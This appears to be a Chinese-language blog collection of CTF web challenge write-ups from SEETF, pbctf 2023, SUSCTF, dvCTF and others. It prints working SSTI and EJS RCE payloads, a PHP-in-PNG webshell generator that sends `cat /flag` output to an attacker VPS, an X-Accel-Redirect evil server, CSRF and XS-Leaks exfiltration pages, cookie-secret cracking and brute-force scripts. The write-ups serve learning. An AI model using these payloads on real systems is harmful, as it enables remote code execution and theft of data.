options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
options.destructuredLocals = opts.destructuredLocals;
options.legacyInclude = typeof opts.legacyInclude != 'undefined' ? !!opts.legacyInclude : true;

最终payload

/greet?settings[view options][escape]=1; return global.process.mainModule.constructor._load('child_process').execSync('/readflag');&settings[view options][client]=true&settings[view options][compileDebug]=true&settings[view options][debug]=true

拼接代码，任意代码执行

file uploader 1

存在漏洞点

如果fileext不在白名单中，会将文件名拼接到template中然后渲染返回

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
 if request.method != 'POST':
 return redirect(url_for('profile'))
 
 # check if the post request has the file part
 if 'file' not in request.files:
 return redirect(url_for('profile'))
 file = request.files['file']

 # If the user does not select a file, the browser submits an empty file without a filename.
 if file.filename == '':
 return redirect(url_for('profile'))
 
 fileext = get_fileext(file.filename)

 file.seek(0, 2) # seeks the end of the file
 filesize = file.tell() # tell at which byte we are
 file.seek(0, 0) # go back to the beginning of the file

 if fileext and filesize < 10*1024*1024:
 if session['ext'] and os.path.exists(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext'])):
 os.remove(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext']))
 session['ext'] = fileext
 filename = session['uuid']+"."+session['ext']
 file.save(os.path.join(UPLOAD_FOLDER, filename))
 return redirect(url_for('profile'))
 else:
 template = f"""
 {file.filename} is not valid because it is too big or has the wrong extension
 """
 l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\'] 

 l2 = ['aa-exec', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt', 'apt-get', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'atobm', 'awk', 'aws', 'base', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'comm ', 'composer', 'cowsay', 'cowthink', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'debug', 'debugfs', 'dialog', 'diff', 'dig', 'dir', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'echo', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'file', 'find', 'finger', 'fish', 'flock', 'fmt', 'fold', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'ifconfig', 'iftop', 'install', 'ionice', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk', 'ld.so', 'ldconfig', 'less', 'less ', 'lftp', 'loginctl', 'logsave', 'look', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-download', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mysql', 'nano', 'nasm', 'nawk', 'ncftp', 'neofetch', 'netstat', 'nft', 'nice', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'nslookup', 'octave', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'php', 'pic', 'pico', 'pidstat', 'ping', 'pip', 'pkexec', 'pkg', 'posh', 'pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'rake', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'route', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ssh', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'touch', 'traceroute', 'troff', 'truncate', 'tshark', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper']
 

 for i in l1:
 if i in template.lower():
 print(template, i, file=sys.stderr)
 template = "nice try"
 break
 matches = re.findall(r"['\"](.*?)['\"]", template)
 for match in matches:
 print(match, file=sys.stderr)
 if not re.match(r'^[a-zA-Z0-9 \/\.\-]+$', match):
 template = "nice try"
 break
 for i in l2:
 if i in match.lower():
 print(i, file=sys.stderr)
 template = "nice try"
 break
 return render_template_string(template)

绕过他的黑名单即可

参考：https://xz.aliyun.com/t/9584#toc-3

fuzz类的索引

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


import requests

url = 'http://172.21.28.13:29384/upload'
headers = {
 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarymTsANkoKLXBfBT6f',
 'Cookie': 'session=eyJleHQiOm51bGwsInV1aWQiOiJmY2RmNmE3Yi05ODE1LTQwMWYtYjg1Yy04Y2Y2NDIwZGRiZDAifQ.ZIYSxA.aOmD_eFJ9hZm2YAJdrdH5Ttw15o'
}

payload = '{% print([].__class__.__bases__[0].__subclasses__()[num]) %}'
for i in range(300):
 payload = '{% print([].__class__.__bases__[0].__subclasses__()['+str(i)+']) %}'
 data = f'''------WebKitFormBoundarymTsANkoKLXBfBT6f
Content-Disposition: form-data; name="file"; filename="{payload}"
Content-Type: text/plain

import re

------WebKitFormBoundarymTsANkoKLXBfBT6f--
'''

 response = requests.post(url, headers=headers, data=data)
 if "_frozen_importlib_external.FileLoader" in response.text:
 print(response.text)
 print(data)
 break

读取flag.txt

POST /upload HTTP/1.1
Host: fu1.web.seetf.sg:1337
Content-Length: 268
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://fu1.web.seetf.sg:1337
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfagSoQabs4E19Bx8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/xml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://fu1.web.seetf.sg:1337/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJleHQiOm51bGwsInV1aWQiOiJhNWExZDRiNC1jMWM3LTQ2YjctYjgxYy0xYjE2YTU0NzE1YmUifQ.ZIYRIw.Se2LPlx0m2oSU42i8_Mz0VjC6kw
Connection: close

------WebKitFormBoundaryfagSoQabs4E19Bx8
Content-Disposition: form-data; name="file"; filename="{% print([].__class__.__bases__[0].__subclasses__()[99].get_data(0, 'flag.txt')) %}"
Content-Type: text/plain

import re


------WebKitFormBoundaryfagSoQabs4E19Bx8--

file uploader 2

存在漏洞的地方

会渲染我们上传的文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


@app.route('/uploads/<path:path>')
def viewfile(path):
 if session['filename'] == path:
 try:
 return render_template('static'+'/'+path)
 except:
 return send_from_directory(UPLOAD_FOLDER, path)

 else:
 return redirect(url_for('profile'))

我们只需要构造恶意内容文件，将其上传即可进行类似ssti的操作

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat i*').read()}}

但是在上传文件之前，需要我们进行登录，进行sql查询之前对query进行拼接，但是限制了传入的字符串只能包含大小写字母，数字，花括号，下划线。不能通过闭合引号来进行注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


@app.route('/', methods=['GET', 'POST'])
def login():
 if request.method == 'POST':
 username = request.form['username']
 password = request.form['password']
 pattern = r'[^a-zA-Z0-9{_}]'
 if re.search(pattern, username) or re.search(pattern, password):
 return render_template('login.html', error='Sus input detected!')
 
 query = f'SELECT * FROM users WHERE dXNlcm5hbWVpbmJhc2U2NA = "{username}" AND cGFzc3dvcmRpbmJhc2U2NA = "{password}";'
 try:
 if cur.execute(query).fetchone():
 print("Login successful!")
 session['usersess'] = str(uuid.uuid4())
 session['filename'] = None
 return redirect(url_for('profile'))
 else:
 raise Exception('Invalid Credentials. Please try again.')
 except:
 error = 'Invalid Credentials. Please try again.'
 return render_template('login.html', error=error)
 else:
 return render_template('login.html')

有意思的是在 sqlite3 中，单引号和双引号具有不同的含义，一个指的是一个字符串，另一个指的是一个标识符，一个标识符可以是一个列名，所以它变成像列名=列名

https://www.sqlite.org/lang_keywords.html

只要我们输入的账号密码和users的字段名对上了即可。

登录成功后，上传文件，然后访问文件即可触发ssti执行任意命令

登录：password=cGFzc3dvcmRpbmJhc2U2NA&username=dXNlcm5hbWVpbmJhc2U2NA

echo "{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat i*').read()}}" > 5744f76c-33cd-48d9-8305-8893d0c5b2e1.png

上传图片，访问 uploads/5744f76c-33cd-48d9-8305-8893d0c5b2e1.png 触发ssti

Sourceful Guessless Web

本地搭建环境

在这题中我们可以进行任意次的ini_set($key, $value);

设置一个phpinfo();

看一下php的配置

刚开始看的是

auto_prepend_file

auto_append_file

发现这两个配置不能通过ini_set设置

后面往log这方面看，发现可以设置日志文件，但是并没有产生日志文件，并且网站目录root可写，文件落地方案失败

继续往下看看到 pcre 方面，可以设置pcre.backtrack_limit和pcre.recursion_limit

不认识的配置项直接问chatgpt（很省时间）

pcre.recursion_limit是什么

ChatGPT
pcre.recursion_limit是一个配置项，它用于限制PCRE（Perl Compatible Regular Expressions）引擎在匹配过程中的递归深度。

PCRE是一个功能强大的正则表达式库，广泛用于各种编程语言中，例如PHP。在使用PCRE引擎进行正则表达式匹配时，有些复杂的模式可能会导致递归的发生，即正则表达式引擎在尝试匹配时会自动进入嵌套的子调用。

pcre.recursion_limit配置项用于限制这种递归的深度，以避免在处理过程中出现无限递归的情况。它指定了PCRE引擎在匹配过程中可以进行的最大递归层数。如果达到了该限制，引擎会中止匹配并返回一个错误。

通过调整pcre.recursion_limit的值，可以控制PCRE引擎在匹配过程中所允许的递归深度，以满足具体的需求和安全性考虑。不同的语言和环境可能有不同的默认值和最大值限制。

我们可以通过设置pcre.recursion_limit的值来限制递归深度，我们将其设置为0，则preg_match就会出错，断言失败

没什么用，我们继续往下翻配置

发现assert.callback 另一个关键配置

assert.callback 是一个 PHP 配置选项，用于指定一个回调函数，在断言失败时被调用。断言是一种用于检查代码正确性的技术，通常用于在开发和测试过程中检测代码中的错误和异常情况。在 PHP 中，断言可以通过 assert() 函数来实现。

当 assert() 函数检查到一个失败的断言时，如果设置了 assert.callback 选项，则会调用指定的回调函数，并将断言的信息作为参数传递给它。回调函数可以是一个 PHP 函数或方法的名称，也可以是一个匿名函数。

设置assert.callback我们的函数成功被执行，并且第一个参数是文件名，已知flag是以字符串的形式存在index.php中，我们可以通过读取index.php来读取flag。

还有一个限制就是函数的参数类型需要大于等于3，否则会报错，如highlight_file

通过翻文档的文件操作函数列表发现

readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false

最后构造

?flag=SEE{FAKE_FLAG}&debug=a&config[pcre.backtrack_limit]=0&config[assert.callback]=readfile

pbctf 2023 题解

Tue, 21 Feb 2023 17:46:17 +0000

pbctf 2023 题解

Makima

Makima simps check in here: http://makima.chal.perfect.blue/

比赛的时候的思考

简单看了下代码，一个nginx php主服务，python做cdn

逻辑是：

php接受url fpm怎么打

url发送给cdn

cdn发送网络请求 r = requests.get(url, stream=True)

获取图像返回给php 设置返回头除了：Date，Server？？可以设置返回头可以干什么

php保存最近爆了个 ImageMagick 漏洞试了一下不能直接打

赛后复现

参考这位师傅的wp：https://github.com/Arc-blroth/ctf-writeups/blob/master/2023/pb/makima.md

nginx + php-fpm 导致解析漏洞

nginx配置文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


server {
 listen 8080 default_server; # 监听端口为8080，作为默认服务
 listen [::]:8080 default_server; # 监听IPv6地址的端口为8080
 root /var/www/html; # 网站根目录为/var/www/html
 server_name _; # 服务器名为任意字符

 location / { # 匹配所有请求路径为 /
 index index.php; # 默认首页为index.php
 }

 location ~ \.php$ { # 匹配所有以.php结尾的请求
 internal; # 只能由内部请求访问
 include fastcgi_params; # 引入FastCGI参数
 fastcgi_intercept_errors on; # FastCGI出错时不返回给客户端
 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 设置FastCGI参数SCRIPT_FILENAME
 fastcgi_pass unix:/run/php/php7.4-fpm.sock; # PHP-FPM监听的socket地址
 }

 location /cdn/ { # 匹配请求路径为 /cdn/
 allow 127.0.0.1/32; # 允许127.0.0.1/32的IP地址访问
 deny all; # 其他IP地址禁止访问
 proxy_pass http://cdn; # 反向代理到 http://cdn
 }
}

internal;: 声明这个 location 只能在内部使用，不能被外部直接访问。

www.conf

在 PHP-FPM 中，www.conf 是默认的 FPM 池配置文件，用于控制 PHP-FPM 进程池的行为。去掉注释后的配置如下

[www] # 进程池名称
user = www-data # PHP-FPM 进程所属的用户
group = www-data # PHP-FPM 进程所属的用户组
listen = /run/php/php7.4-fpm.sock # PHP-FPM 进程监听的 Unix 套接字文件路径
listen.owner = www-data # 监听套接字文件的所有者
listen.group = www-data # 监听套接字文件的所有者组
pm = dynamic # PHP-FPM 进程管理模式，动态模式
pm.max_children = 5 # 进程池最多可以创建的工作进程数
pm.start_servers = 2 # PHP-FPM 启动时创建的工作进程数
pm.min_spare_servers = 1 # 进程池中保持最少空闲工作进程数
pm.max_spare_servers = 3 # 进程池中保持最多空闲工作进程数
security.limit_extensions = # 安全限制，只允许执行具有特定扩展名的 PHP 脚本

security.limit_extensions 是一个 PHP-FPM 的安全限制，它可以限制 PHP-FPM 执行脚本的扩展名。设置该选项可以帮助防止恶意脚本和攻击，因为一些恶意脚本会使用伪造的扩展名来绕过服务器的安全机制，执行恶意代码。

https://nealpoole.com/blog/2011/04/setting-up-php-fastcgi-and-nginx-dont-trust-the-tutorials-check-your-configuration/

由于nginx的设置和php-fpm的默认配置导致的解析漏洞使得：上传一个1.jpg文件然后访问1.jpg/1.php 1.jpg会被当做php文件执行

构建恶意图片

https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


<?php
$_payload = '<?=file_get_contents("http://my_vps:8083/image.png?res=".`cat /flag`)?>';
$output = 'rce.png';
 
while (strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
 echo "FATAL: The payload is too long. Exiting...";
 exit();
}
if($_pay_len %3 != 0){
 echo "FATAL: The payload isn't divisible by 3. Exiting...";
 exit();
}

$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
 
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
 
for($i=0; $i < count($_chunks); $i++){
 $_color_chunks=str_split($_chunks[$i], 2);
 $color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
 imagesetpixel($im,$i,1,$color);
}
 
imagepng($im,$output);
?>

这样就能使得被服务端处理后的图片中仍然有构建的php代码

nginx internal 的访问

这里的内部访问是nginx发起的请求，详细参考nginx文档

https://nginx.org/en/docs/http/ngx_http_core_module.html#internal

无法控制nginx的配置文件，关注到里面的 requests redirected by the “X-Accel-Redirect” response header field from an upstream server;

But after reading a bit more of the (surprisingly little documentation) on X-Accel-Redirect, I discovered that NGINX treats *_pass servers as upstream servers for the purpose of X-Accel-Redirect.

在cdn中我们可以控制任意响应头

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


@app.route("/cdn/<path:url>")
def cdn(url):
 mimes = ["image/png", "image/jpeg", "image/gif", "image/webp"]
 r = requests.get(url, stream=True)
 if r.headers["Content-Type"] not in mimes:
 print("BAD MIME")
 return "????", 400
 img_resp = make_response(r.raw.read(), 200)
 for header in r.headers:
 if header == "Date" or header == "Server":
 continue
 img_resp.headers[header] = r.headers[header] # 可以设置任意响应头
 return img_resp

现在我们构建一个evilserver

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


#!/usr/bin/python3
from flask import Flask, send_file, make_response

app = Flask(__name__)

@app.route("/image.png")
def fakeserver():
 response = make_response(send_file("rce.png",mimetype='image/png')) # rce.png为生成用于绕过image转化的png
 response.headers['Content-Type'] = 'image/png'
 return response

@app.route("/image2.png")
def rceserver():
 response = make_response()
 response.headers['Content-Type'] = 'image/png'
 response.headers['X-Accel-Redirect'] = '/uploads/be82c42dac96a.png/1.php'
 return response

if __name__ == "__main__":
 app.run(debug=True, host="0.0.0.0" ,port=8083)

然后先上传图片：url=http://my_vps:8083/image.png

修改 /image2.png路由中的 response.headers[‘X-Accel-Redirect’] 对应部分为上传图片路径

再RCE：url=http://my_vps:8083/image2.png

1
2
3
4
5
6
7


34.67.131.140 - - [21/Feb/2023 23:03:08] "GET /image.png HTTP/1.1" 200 -
 * Detected change in '/home/ubuntu/ctf/pbctf/fakeserver/app.py', reloading
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 914-115-437
34.67.131.140 - - [21/Feb/2023 23:03:25] "GET /image2.png HTTP/1.1" 200 -
34.67.131.140 - - [21/Feb/2023 23:03:26] "GET /image.png?res=pbctf{actually_power_is_the_better_character} HTTP/1.0" 200 -

总结

发现解析漏洞 -> 上传一个图片马 -> 通过cdn internal访问 -> RCE

The Mindful Zone

最新版的 zoneminder 0day

apache 2.4.29 解析漏洞

git-ls-api

ruby

2022 CTF 题解合集

Sat, 31 Dec 2022 00:00:00 +0000

2022 CTF 题解合集

SUSCTF

web

fxxkcors

登陆页面需要normal admin 才能看到flag

猜测需要admin账号才能提升普通用户为normal admin

根据题目可推 fuckcors 为一个跨域攻击

robot核心源码 bot 先登陆 admin用户然后会访问我们提交的url

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


const visit = async (browser, url) =>{
 let site = process.env.FXXK_SITE ?? ""
 console.log(`[+]${opt.name}: ${url}`)
 let renderOpt = {...opt}
 try {
 const loginpage = await browser.newPage()
 await loginpage.goto(site)
 await loginpage.type("input[name=username]", "admin")
 await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "")
 await Promise.all([
 loginpage.click('button[name=submit]'),
 loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
 ])
 await loginpage.goto("about:blank")
 await loginpage.close()

 const page = await browser.newPage()
 await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})

 await delay(2000) /// waiting 2 second.
 console.log(await page.evaluate(() => document.documentElement.outerHTML))

 }catch (e) {
 console.log(e)
 renderOpt.message = "error occurred"
 return renderOpt
 }
 renderOpt.message = "admin will view your report soon"
 return renderOpt
}

解题思路：构造一个页面bot点后自动填写表单到change.php页面修改我们的账号为normal admin

用burp 生成的poc 需要修改表单使之为正常的json数据放在服务器上把地址提交bot 就成为normal admin了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


<html>
 <!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">
 <input type="hidden" name='{"username":"l1aoo","test":"' value='test"}' />
 <input type="submit" value="Submit request" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

flag:SUSCTF{fxxK_4h3_c0Rs_oUt}

ez_note

和 fxxkcors 极其相似的bot源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


const visit = async (browser, path) =>{
 let site = process.env.NOTE_SITE ?? ""
 let url = new URL(path, site)
 console.log(`[+]${opt.name}: ${url}`)
 let renderOpt = {...opt}
 try {
 const loginpage = await browser.newPage()
 await loginpage.goto( site+"/signin")
 await loginpage.type("input[name=username]", "admin")
 await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
 await Promise.all([
 loginpage.click('button[name=submit]'),
 loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
 ])
 await loginpage.goto("about:blank")
 await loginpage.close()

 const page = await browser.newPage()
 await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})

 await delay(5000) /// waiting 5 second.

 }catch (e) {
 console.log(e)
 renderOpt.message = "error occurred"
 return renderOpt
 }
 renderOpt.message = "admin will view your report soon"
 return renderOpt
}

1
2
3
4


let url = new URL(path, site)
//site = http://123.60.29.171:10001/
//path 如果是正常的url地址的话 ，返回的对象url地址为path地址
//所以和上面的bot一样，我们要做的是伪造页面让bot去点

对网站进行一番测试后，发现没有xxs等漏洞

在 search地方为get传参

经过测试发现，如果搜索结果为单一会进行一次跳转跳转到详情页面

find only match, redirecting

如果搜索结果不单一则则直接显示多条结果

javascript 知识点：open() 方法用于打开一个新的浏览器窗口或查找一个已命名的窗口。 Network Timing | XS-Leaks Wiki (xsleaks.dev) 尝试思路根据打开的页面不同时间也会不同然而测试结果大差不差所以不能用来注入查javascript的文档

Window 对象
Window 对象表示浏览器中打开的窗口。

如果文档包含框架（frame 或 iframe 标签），浏览器会为 HTML 文档创建一个 window 对象，并为每个框架创建一个额外的 window 对象。

History 对象
History 对象包含用户（在浏览器窗口中）访问过的 URL。
length	返回浏览器历史列表中的 URL 数量。

根据我上面说到的搜索结果的区别会使访问的url数量不一样，通过这个来进行注入

async函数
async函数是使用async关键字声明的函数。 async函数是AsyncFunction构造函数的实例， 并且其中允许使用await关键字。async和await关键字让我们可以用一种更简洁的方式写出基于Promise的异步行为，而无需刻意地链式调用promise。

python 启http服务 python3 -m http.server 11336

159.138.56.26 - - [28/Feb/2022 16:39:22] "GET /?url=SUSCTF{a_s HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:40:19] "GET /?url=SUSCTF{a_sh HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:40:37] "GET /?url=SUSCTF{a_sh0 HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:40:59] "GET /?url=SUSCTF{a_sh0r HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:41:17] "GET /?url=SUSCTF{a_sh0rt HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:41:32] "GET /?url=SUSCTF{a_sh0rt_ HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:41:51] "GET /?url=SUSCTF{a_sh0rt_f HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:42:23] "GET /?url=SUSCTF{a_sh0rt_fl HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:42:47] "GET /?url=SUSCTF{a_sh0rt_fl4 HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:43:20] "GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:43:20] "GET /?url=SUSCTF{a_sh0rt_fl4g HTTP/1.1" 200 -
159.138.56.26 - - [28/Feb/2022 16:43:42] "GET /?url=SUSCTF{a_sh0rt_fl4g} HTTP/1.1" 200 -

poc: 改了改，一次还是只能注入一个字符，tcl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


<html>
 <body>
 <script>
 async function asyncCall(char_flag) {
 var win = open('http://123.60.29.171:10001/search?q=SUSCTF{a_sh0rt_fl4g' + char_flag);
 await new Promise(resolve => setTimeout(resolve, 2000));
 win.location = char_flag;
 await new Promise(resolve => setTimeout(resolve, 2000));
 var l = win.history.length;
 if (l !== 2) {
 var test = open("http://ip/?url=SUSCTF{a_sh0rt_fl4g" + char_flag);
 console.log(base_char);
 win.close();
 } else{
 win.close();
 }
 }
 async function exp(){
 // while(true){
 charss = "abcdefghigklmnopqrstuvwxyz0123456789_}";
 for (var i = 0; i < charss.length; i++) {
 asyncCall(charss[i]);
 //await new Promise(resolve => setTimeout(resolve, 1000));
 }
 //}
 }
 exp();
 </script>
 </body>
</html>

flag:SUSCTF{a_sh0rt_fl4g}

HTML practice

𝘦𝘷𝘢𝘭((𝘤𝘩𝘳(61).𝘴𝘱𝘭𝘪𝘵(𝘤𝘩𝘳(61)).𝘱𝘰𝘱()).𝘫𝘰𝘪𝘯((𝘤𝘩𝘳(95)................)))



% for a in range(上面一串):
 hh
% endfor

flag:SUSCTF{34sY_mak0_w1th_EaSy_nAm3}

dvCTF

web

CyberStreak v1.0

[dvCTF](https://dvc.tf/challenges#CyberStreak v1.0-5)

前端没东西，好像不能注入，，，，迷惑，看起来又像注入。。。跑一下sqlmap？？？??????

模板？没东西。。。

看了题解回来补一下

有一个 flask-unsign 可以用来爆破密钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


PS C:\WINDOWS\system32> flask-unsign --unsign --cookie '.eJyrViotTi3KS8xNVbJSSixOwYqUagElLw7b.YjHUCw.i5qm9Q8AXPRpVXcLqhZkcSUcM7Q'
[*] Session decodes to: {'username': 'asdasdasdasdasdasdasdasd'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (1920): -----BEGIN PRIVATE KEY-----lus
[+] Found secret key after 15872 attemptsaeyda23a4d64
's3cr3t'

PS C:\WINDOWS\system32> flask-unsign --sign --cookie "{'username': 'xXx-michel-xXx'}" --secret 's3cr3t'
eyJ1c2VybmFtZSI6InhYeC1taWNoZWwteFh4In0.YjHWeA.l1cxzk_c979gFyGEFKoKrlFtRg4

伪造登陆拿到flag

UTCTF

web

Websockets?

想用python模拟不会

直接改题目里面的js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


const WebSocket = require('ws');
function checkPassword(num) {
	const socket = new WebSocket("ws://" + "web1.utctf.live:8651" + "/internal/ws")
	socket.addEventListener('message', (event) => {
		if (event.data == "begin") {
			socket.send("begin");
			socket.send("user " + "admin")
 console.log("pass " + num)
			socket.send("pass " + num)
		} else if (event.data == "baduser") {
			console.log("baduser");
			socket.close()
		} else if (event.data == "badpass") {
			console.log("Incorrect PIN");
			socket.close()
		} else if (event.data.startsWith("session ")) {
			var cookie = "flask-session=" + event.data.replace("session ", "") + ";";
 console.log(num)
 console.log(cookie)
			socket.send("goodbye")
			socket.close()
			// window.location = "/internal/user";
		} else {
			console.log("Unknown error");
			socket.close()
		} 
	})
}
for (var i = 700;i<1000;i++){
 checkPassword(i)
}

跑出密码登陆获得flag

HTML2PDF

任意文件读取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


<script>function load(name) {
 let xhr = new XMLHttpRequest(),
 okStatus = document.location.protocol === "file:" ? 0 : 200;
 xhr.open('GET', name, false);
 xhr.overrideMimeType("text/html;charset=utf-8");
 xhr.send(null);
 return xhr.status === okStatus ? xhr.responseText : null;
}
let text = load("/usr/local/app/app.js"); 
console.log(text); 
document.write(); 
</script>

读到

WeakPasswordAdmin 爆破一下密码登陆拿到flag

zer0pts CTF 2022

web

Disco Party

非预期：

http://party.ctf.zer0pts.com:8007/post/<string(length=16):id># 你的vps

wp：Disco Party/Festival - zer0pts CTF 2022 - HackMD

HFCTF

